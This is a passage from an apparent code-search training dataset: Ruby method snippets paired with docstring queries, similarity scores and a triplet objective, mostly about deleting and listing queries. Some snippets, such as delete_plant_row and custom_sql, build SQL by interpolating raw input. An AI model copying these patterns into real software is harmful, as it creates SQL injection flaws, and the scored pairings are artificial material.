"def delete_plant_row(delete_name)\n CONNECTION.execute(\"DELETE FROM backyard WHERE name = '#{delete_name}';\")\nend",
"def delete(name, options = nil)\n options ||= {}\n name = expanded_key name\n\n instrument(:delete, name) do\n delete_entry(name, options)\n end\n end",
"def remove name\n delete(name)\n end",
"def delete(name)\n @by_name.delete(name)\n true\n end",
"def delete_by_query(query, params = nil, request_options = {})\n raise ArgumentError.new('query cannot be nil, use the `clear` method to wipe the entire index') if query.nil? && params.nil?\n params = sanitized_delete_by_query_params(params)\n\n params[:query] = query\n params[:hitsPerPage] = 1000\n params[:distinct] = false\n params[:attributesToRetrieve] = ['objectID']\n params[:cursor] = ''\n ids = []\n\n while params[:cursor] != nil\n result = browse(params, nil, request_options)\n\n params[:cursor] = result['cursor']\n\n hits = result['hits']\n break if hits.empty?\n\n ids += hits.map { |hit| hit['objectID'] }\n end\n\n delete_objects(ids, request_options)\n end",
"def db_remove\n \"DELETE\" + from_table_where + sql_match_conditions\n end",
"def delete_form_attribute_definition(kapp_slug, name, headers=default_headers)\n @logger.info(\"Deleting the \\\"#{name}\\\" Form attribute definition from the \\\"#{kapp_slug}\\\" kapp.\")\n delete(\"#{@api_url}/kapps/#{kapp_slug}/formAttributeDefinitions/#{encode(name)}\", headers)\n end",
"def destroy\n @user_query.destroy\n respond_to do |format|\n format.html { redirect_to user_queries_url, notice: 'User query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_query.destroy\n respond_to do |format|\n format.html { redirect_to user_queries_url, notice: 'User query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_program_by_name(name)\n item = getProgramByName(name)\n item.destroy\nend",
"def delete(arel, name = nil, binds = [])\n exec_delete(to_sql(arel), name, binds)\n end",
"def delete(name, options = nil)\n options = merged_options(options)\n\n instrument(:delete, name) do\n delete_entry(normalize_key(name, options), **options)\n end\n end",
"def clear_cluster_by_name(name)\r\n Cluster.where(:word_en_name => name).delete_all\r\n Gitem.where(:word_en_name => name).update_all(:cluster_id => nil)\r\n end",
"def clear(_options = nil)\n # TODO: Support namespaces\n @client.delete_by_query index: @index_name, type: 'entry', body: { query: { match_all: {} } }\n end",
"def exec_delete(sql, name = 'SQL', binds = [])\n log(sql, name, binds) do\n result = without_prepared_statement?(binds) ? exec_no_cache(sql) :\n exec_cache(sql, binds)\n affected = result.cmd_tuples\n result.clear\n affected\n end\n end"
] |
[
"0.71859735",
"0.712277",
"0.6888088",
"0.6640369",
"0.6624815",
"0.6621205",
"0.6571545",
"0.65505934",
"0.6506232",
"0.6352799",
"0.6319997",
"0.62108415",
"0.6154649",
"0.6108359",
"0.61077636",
"0.61007375",
"0.6065895",
"0.6058859",
"0.6048962",
"0.6031496",
"0.6023679",
"0.6023679",
"0.6023536",
"0.6022821",
"0.599396",
"0.5956049",
"0.5916156",
"0.5884406",
"0.5830877",
"0.58195287",
"0.58195287",
"0.58105654",
"0.5796344",
"0.5795187",
"0.5795187",
"0.5795187",
"0.5795187",
"0.5771539",
"0.5760872",
"0.57526773",
"0.5748051",
"0.57169443",
"0.5682309",
"0.5663395",
"0.56554836",
"0.56388026",
"0.56380767",
"0.5635547",
"0.5623781",
"0.5604212",
"0.5601435",
"0.55991113",
"0.55811226",
"0.55743057",
"0.55473936",
"0.5542461",
"0.55317867",
"0.55215144",
"0.5512107",
"0.5488137",
"0.5475697",
"0.5473171",
"0.5451998",
"0.54502267",
"0.5448115",
"0.54212165",
"0.5415553",
"0.54029685",
"0.53935546",
"0.53912973",
"0.538796",
"0.53663903",
"0.53658885",
"0.5357559",
"0.53557163",
"0.53554064",
"0.5354107",
"0.5343531",
"0.53411025",
"0.5337042",
"0.5336849",
"0.5330717",
"0.53180224",
"0.5316592",
"0.5315929",
"0.5302668",
"0.5300908",
"0.5290666",
"0.5287806",
"0.52800447",
"0.52751964",
"0.52654785",
"0.5263339",
"0.5263339",
"0.52507854",
"0.52431554",
"0.52402025",
"0.522831",
"0.522777",
"0.5223152"
] |
0.68846035
|
3
|
Deletes existing query definition from the system with given queryName
|
def drop_query_definition_with_http_info(query_name, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.drop_query_definition ..."
end
# verify the required parameter 'query_name' is set
if @api_client.config.client_side_validation && query_name.nil?
fail ArgumentError, "Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.drop_query_definition"
end
# resource path
local_var_path = "/server/queries/definitions/{queryName}".sub('{' + 'queryName' + '}', query_name.to_s)
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#drop_query_definition\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_query(project_id, query_id)\n delete \"projects/#{project_id}/queries/#{query_id}\"\n end",
"def delete_percolator_query(query_name)\n server.request(:delete, percolator_query_path(query_name))\n end",
"def delete_query(query)\n do_delete_query(query)\n end",
"def drop_query_definition(query_name, opts = {})\n drop_query_definition_with_http_info(query_name, opts)\n return nil\n end",
"def remove_query(query_id)\n add_actions \"removequery(#{query_id})\"\n end",
"def delete_query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.delete({params: query_params })\n self\n end",
"def delete(sql, name = nil)\n delete_sql(sql, name)\n end",
"def delete_sql(sql, name = nil)\n update_sql(sql, name)\n end",
"def delete_by_query(query)\n rsp = post(\"<delete><query>#{query}</query></delete>\")\n success?(rsp.body) or log_error(rsp.body)\n end",
"def delete(sql, name = nil) end",
"def delete_query(query, params = {})\n do_delete_query(query, params)\n end",
"def delete(query)\n adapter.delete(query)\n end",
"def delete_by_query index, query, conflicts_proceed\n conflicts = conflicts_proceed ? 'conflicts=proceed' : ''\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_delete_by_query?#{conflicts}\")\n\n req = Net::HTTP::Post.new(uri)\n req.body = query.to_json\n run(uri, req)\n end",
"def destroy\n @query = Query.find(params[:id])\n @query.destroy\n \n respond_to do |format|\n format.html { redirect_to(queries_url) }\n format.xml { head :ok }\n end\n end",
"def delete_by_query query, opts = {}\n update opts.merge(:data => xml.delete_by_query(query))\n end",
"def delete_query_group(project_id, query_group_id)\n delete \"projects/#{project_id}/querygroups/#{query_group_id}\"\n end",
"def destroy\n @dev_math_query = DevMathQuery.find(params[:id])\n @dev_math_query.destroy\n\n respond_to do |format|\n format.html { redirect_to dev_math_queries_url }\n format.json { head :ok }\n end\n end",
"def delete(q)\n connection.delete_by_query(q)\n connection.commit if commit_after_change\n end",
"def delete_domain!(name)\n sdb_query({:Action => 'DeleteDomain', 'DomainName' => name})\n end",
"def destroy\n\t\t@query.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def delete_sql(sql, name = nil)\n result = execute(sql, name)\n result.cmd_tuples\n end",
"def delete_sql(sql, name = nil)\n result = execute(sql, name)\n result.cmd_tuples\n end",
"def destroy\n @query = Query.find(params[:id])\n @query.destroy\n\n respond_to do |format|\n format.html { redirect_to(queries_url) }\n format.xml { head :ok }\n end\n end",
"def exec_delete(sql, name = nil, binds = []) #:nodoc:\r\n log(sql, \"delete\", binds) { query(sql, binds) }\r\n end",
"def query_unset(name)\n query_set name, nil\n end",
"def exec_delete(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def exec_delete(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def delete_statement(query)\n conditions_statement, bind_values = conditions_statement(query.conditions)\n\n statement = \"DELETE FROM #{quote_name(query.model.storage_name(name))}\"\n statement << \" WHERE #{conditions_statement}\" unless conditions_statement.blank?\n\n return statement, bind_values\n end",
"def destroy\n @saved_query.destroy\n respond_to do |format|\n format.html { redirect_to saved_queries_url }\n format.json { head :no_content }\n end\n end",
"def delete(name); end",
"def delete(name); end",
"def destroy\n @sql_query.destroy\n respond_to do |format|\n format.html { redirect_to sql_queries_url, notice: 'Sql query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(name)\n @driver.deleteRule([name])\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def clear_queries\n add_actions 'ClearQueries()'\n end",
"def delete(name)\n name = Field.name_canonicalize(name.to_str)\n delete_if { |n, v|\n n.downcase == name\n }\n self\n end",
"def delete(name)\n fields.delete(name.to_sym)\n end",
"def replace_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def delete_by_query!(query, params = nil, request_options = {})\n res = delete_by_query(query, params, request_options)\n wait_task(res['taskID'], WAIT_TASK_DEFAULT_TIME_BEFORE_RETRY, request_options) if res\n res\n end",
"def destroy\n @query = current_user.queries.find(params[:id])\n @query.destroy\n\n respond_to do |format|\n format.html { redirect_to queries_url }\n format.json { head :no_content }\n end\n end",
"def user_deleted_query _user, query\n data = {\n category: 'Queries',\n action: 'Deleted a Query',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def delete(name)\n fail AliasNotFoundException, \"No alias with name #{name} exists\" unless @redis.hexists(STORE_KEY, name)\n\n command = @redis.hget(STORE_KEY, name)\n @redis.hdel(STORE_KEY, name)\n AliasedCommand.new(name, command).freeze\n end",
"def delete(name = nil)\n if name\n store.delete_value(field_key(name.to_s))\n else\n self.class.fields.each do |field|\n store.delete_value(field_key(field[:name]))\n end\n end\n end",
"def destroy\n @sync_query = SyncQuery.find(params[:id])\n @sync_query.destroy\n \n respond_to do |format|\n format.html { redirect_to sync_queries_url }\n format.json { head :no_content }\n end\n end",
"def delete_datastore_form_attribute_definition(name, headers=default_headers)\n @logger.info(\"Deleting the \\\"#{name}\\\" Datastore Form Attribute Definition\")\n delete(\"#{@api_url}/datastoreFormAttributeDefinitions/#{encode(name)}\", headers)\n end",
"def delete_route(resource_name)\n desc \"Deletes an existing #{resource_name}\"\n params do\n requires :query_parameter_id, type: String, desc: \"The id of the #{resource_name}\"\n end\n delete ':query_parameter_id' do\n delete_instance(find_instance(params[:query_parameter_id]))\n body false\n end\n end",
"def destroy\n @query = CannedQuery.find(params[:id])\n @query.destroy\n\n respond_to do |format|\n format.html { redirect_to(idea_url(@idea)) }\n format.xml { head :ok }\n end\n end",
"def exec_delete(sql, name, binds)\n execute(sql, name, binds)\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def delete_by_query(queries)\n queries = [queries] unless queries.is_a?(Array)\n build do |xml|\n xml.delete do |delete_node|\n queries.each { |query| delete_node.query query }\n end\n end\n end",
"def delete_space_attribute_definition(name, headers=default_headers)\n @logger.info(\"Deleting the \\\"#{name}\\\" Space Attribute Definition\")\n delete(\"#{@api_url}/spaceAttributeDefinitions/#{encode(name)}\", headers)\n end",
"def delete(name)\n\n end",
"def del(name)\n data.delete(name)\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Consulta deletada com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def delete(query)\n @index.query(Query.new(string: query)).each do |state|\n @index.on_state_change(\n state,\n State.new(\n host: state.host,\n service: state.service,\n state: 'unknown',\n description: \"ustate has not heard from this service since #{Time.at(state.time)}\",\n time: Time.now.to_i\n )\n )\n @index.delete state\n end\n end",
"def delete(name = nil)\n if name\n redis.del field_key(name.to_s)\n else\n self.class.fields.each do |field|\n redis.del field_key(field[:name])\n end\n redis.srem \"sequence:#{prefix}:all\", self.id\n end\n end",
"def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end",
"def delete_by_name(org_key, name)\n HttpClient::Preconditions.assert_class('org_key', org_key, String)\n HttpClient::Preconditions.assert_class('name', name, String)\n @client.request(\"/domains/#{CGI.escape(org_key)}/#{CGI.escape(name)}\").delete\n nil\n end",
"def delete_search_index(name)\n @data[:search_indexes].delete(name)\n true\n end",
"def delete_field(name)\n @__table__ ||= {}\n @__table__.delete name.to_sym\n end",
"def delete(name, _options = {})\n exec(\"delete\", c: name, p: port)\n end",
"def delete(name)\n @ctx.delete(@path + name)\n end",
"def delete(name)\n name = name.to_sym\n if @values.key? name\n delete_name name\n @values.delete name\n end\n end",
"def clear_graph(graphname)\n update(\"WITH <#{graphname}> DELETE { ?s ?p ?o } WHERE { ?s ?p ?o .}\")\nend",
"def delete_by_query(queries)\n { delete: { query: queries } }.to_json\n end",
"def delete_sql(sql, name = nil) #:nodoc:\r\n execute( sql, name )\r\n return @affected_rows\r\n end",
"def delete(id, query_term)\n @conn.exec(\"DELETE FROM products WHERE id = '#{id}';\")\n puts \"DELETE\"\nend",
"def delete_macro(name, macro_name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n raise('wrong type: String required') unless macro_name.is_a?(String)\n raise('wrong value: nmacro_name must be valid') unless !macro_name.nil? && !macro_name.empty?\n @client.post({\n 'action' => 'delmacro',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [name, macro_name],\n }.to_json)\n end",
"def retract_definition(*args)\n unless(args.length == 3 && !args.first.is_a?(Array))\n args = args.inject([]) {|a,i| a += i }\n end\n\n args = parse_schema_axioms(args)\n\n triples = QL.to_turtle(args, true)\n GRel::Debugger.debug \"REMOVING FROM SCHEMA #{@schema_graph}\"\n GRel::Debugger.debug triples\n GRel::Debugger.debug \"IN\"\n GRel::Debugger.debug @db_name\n @connection.remove(@db_name, triples, @schema_graph, \"text/turtle\")\n self\n end",
"def delete(query)\n\n connect if @persevere.nil?\n\n deleted = 0\n\n if ! query.is_a?(DataMapper::Query)\n resources = [query].flatten\n else\n resources = read_many(query)\n end\n\n resources.each do |resource|\n tblname = resource.model.storage_name\n id = resource.attributes(:field)['id']\n \n # Retrieve the ID from persever if the resource doesn't have an ID field\n if id.nil?\n query = Persevere.enhance(resource.query)\n path = \"/#{tblname}/#{query.to_json_query_filter}[={'id':id}]\"\n response = @persevere.retrieve(path, {})\n id = JSON.parse(response.body)[0]['id'].match(/(\\w+\\/)*(\\d+)/)[2]\n end\n \n path = \"/#{tblname}/#{id}\"\n # path = \"/#{tblname}/#{resource.key.first}\"\n \n DataMapper.logger.debug(\"(Delete) PATH/QUERY: #{path}\")\n\n result = @persevere.delete(path)\n\n if result.code == \"204\" # ok\n deleted += 1\n end\n end\n return deleted\n end",
"def destroy\n @search_query.destroy\n respond_to do |format|\n format.html { redirect_to search_queries_url, notice: 'Search query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, query={})\n request.delete(path, query_options(query))\n end",
"def delete\n ensure_service!\n service.delete_schema name\n true\n end",
"def destroy\n @mlp_query = MlpQuery.find(params[:id])\n @mlp_query.destroy\n\n respond_to do |format|\n format.html { redirect_to mlp_queries_url } # rake routes indicates mlp_queries => mlp_queries#index\n format.json { head :no_content }\n end\n end",
"def destroy()\n urn_check()\n @sparql.delete([ @urn, :p, :o ])\n @sparql.delete([ :s, :p, @urn ])\n end",
"def delete(name)\n connect { |connection| connection.delete dn(name) }\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def delete(name)\n delete = get(name)\n @filters = @filters - delete\n end",
"def destroy\n # Delete all associated aliases first\n MysqlAdapter.delete \"DELETE FROM #{Alias.table_name} WHERE domain = '#{name}'\"\n\n # Delete all associated mailboxes first\n MysqlAdapter.delete \"DELETE FROM #{Mailbox.table_name} WHERE domain = '#{name}'\"\n\n super\n rescue Mysql::Error\n false\n end",
"def execute(name)\n if !document.new_record?\n collection.find(document.atomic_selector).update(operation(name))\n document.remove_change(field)\n end\n end",
"def del(*keys)\n keys.each do |key|\n @queries.delete(key)\n end\n\n self\n end",
"def delete_field(name)\n sym = name.to_sym\n begin\n singleton_class.__send__(:remove_method, sym, \"#{sym}=\")\n rescue NameError\n end\n @table.delete(sym) do\n raise NameError.new(\"no field `#{sym}' in #{self}\", sym)\n end\n end",
"def delete_plant_row(delete_name)\n CONNECTION.execute(\"DELETE FROM backyard WHERE name = '#{delete_name}';\")\nend",
"def delete(name, options = nil)\n options ||= {}\n name = expanded_key name\n\n instrument(:delete, name) do\n delete_entry(name, options)\n end\n end",
"def remove name\n delete(name)\n end",
"def delete(name)\n @by_name.delete(name)\n true\n end",
"def delete_by_query(query, params = nil, request_options = {})\n raise ArgumentError.new('query cannot be nil, use the `clear` method to wipe the entire index') if query.nil? && params.nil?\n params = sanitized_delete_by_query_params(params)\n\n params[:query] = query\n params[:hitsPerPage] = 1000\n params[:distinct] = false\n params[:attributesToRetrieve] = ['objectID']\n params[:cursor] = ''\n ids = []\n\n while params[:cursor] != nil\n result = browse(params, nil, request_options)\n\n params[:cursor] = result['cursor']\n\n hits = result['hits']\n break if hits.empty?\n\n ids += hits.map { |hit| hit['objectID'] }\n end\n\n delete_objects(ids, request_options)\n end",
"def db_remove\n \"DELETE\" + from_table_where + sql_match_conditions\n end",
"def delete_form_attribute_definition(kapp_slug, name, headers=default_headers)\n @logger.info(\"Deleting the \\\"#{name}\\\" Form attribute definition from the \\\"#{kapp_slug}\\\" kapp.\")\n delete(\"#{@api_url}/kapps/#{kapp_slug}/formAttributeDefinitions/#{encode(name)}\", headers)\n end",
"def destroy\n @user_query.destroy\n respond_to do |format|\n format.html { redirect_to user_queries_url, notice: 'User query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_query.destroy\n respond_to do |format|\n format.html { redirect_to user_queries_url, notice: 'User query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_program_by_name(name)\n item = getProgramByName(name)\n item.destroy\nend",
"def delete(arel, name = nil, binds = [])\n exec_delete(to_sql(arel), name, binds)\n end",
"def delete(name, options = nil)\n options = merged_options(options)\n\n instrument(:delete, name) do\n delete_entry(normalize_key(name, options), **options)\n end\n end",
"def clear_cluster_by_name(name)\r\n Cluster.where(:word_en_name => name).delete_all\r\n Gitem.where(:word_en_name => name).update_all(:cluster_id => nil)\r\n end",
"def clear(_options = nil)\n # TODO: Support namespaces\n @client.delete_by_query index: @index_name, type: 'entry', body: { query: { match_all: {} } }\n end",
"def exec_delete(sql, name = 'SQL', binds = [])\n log(sql, name, binds) do\n result = without_prepared_statement?(binds) ? exec_no_cache(sql) :\n exec_cache(sql, binds)\n affected = result.cmd_tuples\n result.clear\n affected\n end\n end"
] |
[
"0.71859735",
"0.712277",
"0.6888088",
"0.68846035",
"0.6640369",
"0.6624815",
"0.6621205",
"0.65505934",
"0.6506232",
"0.6352799",
"0.6319997",
"0.62108415",
"0.6154649",
"0.6108359",
"0.61077636",
"0.61007375",
"0.6065895",
"0.6058859",
"0.6048962",
"0.6031496",
"0.6023679",
"0.6023679",
"0.6023536",
"0.6022821",
"0.599396",
"0.5956049",
"0.5916156",
"0.5884406",
"0.5830877",
"0.58195287",
"0.58195287",
"0.58105654",
"0.5796344",
"0.5795187",
"0.5795187",
"0.5795187",
"0.5795187",
"0.5771539",
"0.5760872",
"0.57526773",
"0.5748051",
"0.57169443",
"0.5682309",
"0.5663395",
"0.56554836",
"0.56388026",
"0.56380767",
"0.5635547",
"0.5623781",
"0.5604212",
"0.5601435",
"0.55991113",
"0.55811226",
"0.55743057",
"0.55473936",
"0.5542461",
"0.55317867",
"0.55215144",
"0.5512107",
"0.5488137",
"0.5475697",
"0.5473171",
"0.5451998",
"0.54502267",
"0.5448115",
"0.54212165",
"0.5415553",
"0.54029685",
"0.53935546",
"0.53912973",
"0.538796",
"0.53663903",
"0.53658885",
"0.5357559",
"0.53557163",
"0.53554064",
"0.5354107",
"0.5343531",
"0.53411025",
"0.5337042",
"0.5336849",
"0.5330717",
"0.53180224",
"0.5316592",
"0.5315929",
"0.5302668",
"0.5300908",
"0.5290666",
"0.5287806",
"0.52800447",
"0.52751964",
"0.52654785",
"0.5263339",
"0.5263339",
"0.52507854",
"0.52431554",
"0.52402025",
"0.522831",
"0.522777",
"0.5223152"
] |
0.6571545
|
7
|
Retruns all custom queries defined in the system
|
def get_queries(opts = {})
data, _status_code, _headers = get_queries_with_http_info(opts)
return data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def custom_queries\n @custom_queries ||= ::Valkyrie::Persistence::CustomQueryContainer.new(query_service: self)\n end",
"def queries\n qrs = []\n self.each_query {|qr| qrs << qr }\n qrs\n end",
"def queries\n @requested_queries.map { |key| Gquery.get(key) }.compact\n end",
"def add_queries\n add_general_query\n add_title_query\n add_creators_query\n add_series_query\n add_collected_query\n add_tag_name_query\n end",
"def raw_all\n query_all\n end",
"def discover\n choria.pql_query(@query, true)\n end",
"def all(query); end",
"def index\n @sql_queries = SqlQuery.all\n end",
"def query\n ::Dummy.all\n end",
"def raw_query\n @raw_query\n end",
"def query sql\n result = db[sql].all\n return result\n end",
"def all\n\t\tquery.execute\n end",
"def collect_queries(db_name)\n # find the queries\n found_queries = AppQuery.map_from_pg_stat_statements(PostgresDb::PgStatStatement.statements_for_database(db_name))\n\n # associate them\n found_queries.each do |query|\n app_queries << query\n end\n\n return found_queries\n end",
"def query\n end",
"def query; end",
"def base_query\n [nil]\n end",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def index\n\t\t@queries = Query.all\n\tend",
"def snapshots_redact_sql_queries; end",
"def query\n super\n end",
"def initial_query; end",
"def index\n @queries = Query.where(:user_id => current_user.id)\n end",
"def index\n @queries = Query.all\n end",
"def index\n @queries = Query.all\n end",
"def queries(project_id)\n resource \"projects/#{project_id}/queries\"\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def all() \n @sql = @default_sql\n query(@sql) unless @a\n @a\n end",
"def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = QUIZ.execute(\"SELECT * FROM #{table_name}\")\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end",
"def query(query_definition)\n return\n end",
"def db_queries_where__samples\n db_queries_operate__samples.map { |e| [e] }\n end",
"def execute_query(query)\n ActiveRecord::Base.connection.select_all(query)\n end",
"def all\n @@wheres\n end",
"def query_full\n query = @initial_query.dup\n\n # restrict to select columns\n query = query_projection(query)\n\n #filter\n query = query_filter(query)\n\n # sorting\n query = query_sort(query)\n\n # paging\n query_paging(query)\n end",
"def query_methods(result_type); end",
"def index\n @user_queries = UserQuery.all\n end",
"def index\n @user_queries = UserQuery.all\n end",
"def find_all_by_query(query, options={})\n find_by_query(:all, query, options)\n end",
"def find_by_query_columns\n ['title', 'description']\n end",
"def query_base\n @query_base ||= lambda do\n el = '?'\n [Func::UNACCENT].each do |func|\n el = \"#{func}(#{el})\"\n end\n el\n end.call\n end",
"def pioQuery\n client.query(current_company.user => 4)\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def get_all_by_query(query)\n qry = \"SELECT #{build_fields(query)} FROM `#{@table_name}`\"\n where = build_where(query)\n qry += \" WHERE #{where}\" unless where.length == 0\n cached_query(qry,[@table_name])\n end",
"def query\n get_query_object\n end",
"def perform_query\n Rails.logger.info queries.to_sql\n queries\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end",
"def sql_query(sqlquery)\n\t\tActiveRecord::Base.connection.select_all(sqlquery)\n\tend",
"def query_all(args = {})\n query(args.merge(select: \"DISTINCT #{model.table_name}.*\"))\n end",
"def query\n self\n end",
"def query\n self\n end",
"def query\n ::User.all\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def all \n results = CONNECTION.execute(\"SELECT * FROM #{self.table_name}\")\n \n return self.results_as_objects(results)\n end",
"def initialize\n super(\"query\")\n end",
"def connection_execute_method\n :query\n end",
"def connection_execute_method\n :query\n end",
"def get_queries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_queries ...\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions\"\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinitions')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_queries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def preserve_query_aliases\n class << self\n # I have to do the interesting hack below instead of using alias_method\n # because there's some sort of weirdness going on with how __all binds\n # to all in Ruby 2.0.\n __all = self.instance_method(:all)\n\n define_method(:__all) do\n __all.bind(self).call\n end\n\n # From ActiveRecord::Querying\n delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :to => :__all\n delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :__all\n delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, :to => :__all\n delegate :find_by, :find_by!, :to => :__all\n delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :__all\n delegate :find_each, :find_in_batches, :to => :__all\n delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,\n :where, :preload, :eager_load, :includes, :from, :lock, :readonly,\n :having, :create_with, :uniq, :distinct, :references, :none, :unscope, :to => :__all\n delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :ids, :to => :__all\n end\n end",
"def select_all; end",
"def query_def; query.name; end",
"def run()\n if @type.nil?\n output_available_query_types\n else\n output_query_results\n end\n end",
"def get_all_from_database\n model.all\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def execute\n # build the query string\n # run the query\n # return the results\n end",
"def cs_starter\n # make_batched_queries\n make_standard_queries\n end",
"def query\n return nil\n end",
"def custom_query(options)\n form_data = {}\n options.each {|k,v| form_data[k.to_s] = v.to_s }\n form_data['action'] = 'query'\n make_api_request(form_data).first.elements['query']\n end",
"def result\n ActiveRecord::Base.connection.select_all(sql).entries\n end",
"def select_all(sql, name = nil) end",
"def cdbquery(m, query)\n if is_supadmin?(m.user)\n queryresult = db_custom_query(query)\n m.reply \"DB Says: #{queryresult}\"\n else\n m.reply NOTADMIN, true\n end\n end",
"def custom_sql(q)\n query = q + ';' unless q =~ /;$/\n query = @db_connection.query(\"#{query}\")\n query.each { |x| print_line(\"#{x.join(',')}\") } unless query.empty?\n end",
"def load_sidebar_query\n # User can see public queries and his own queries\n conditions = [\"(is_public = ? OR user_id = ?)\", true, (User.current.logged? ? User.current.id : 0)]\n\n # Project specific queries and global queries\n if @project.nil? \n conditions[0] = conditions[0] + \" AND (project_id IS NULL)\"\n else\n conditions[0] = conditions[0] + \" AND (project_id IS NULL OR project_id = ?)\"\n conditions << @project.id\n end\n\n @sidebar_queries = IssueQuery.find(:all,\n :select => 'id, name, is_public',\n :order => \"id DESC\",\n :conditions => conditions)\n end",
"def query_device_management\n @devices = query(\"select * from device_management \")\n end",
"def index\n @saved_queries = SavedQuery.all\n end",
"def find_by_query_columns\n raise \"override in model as find_by_query_columns, e.g. return ['name', 'description']\"\n end",
"def all_gtm_iquery_statistics\n super\n end",
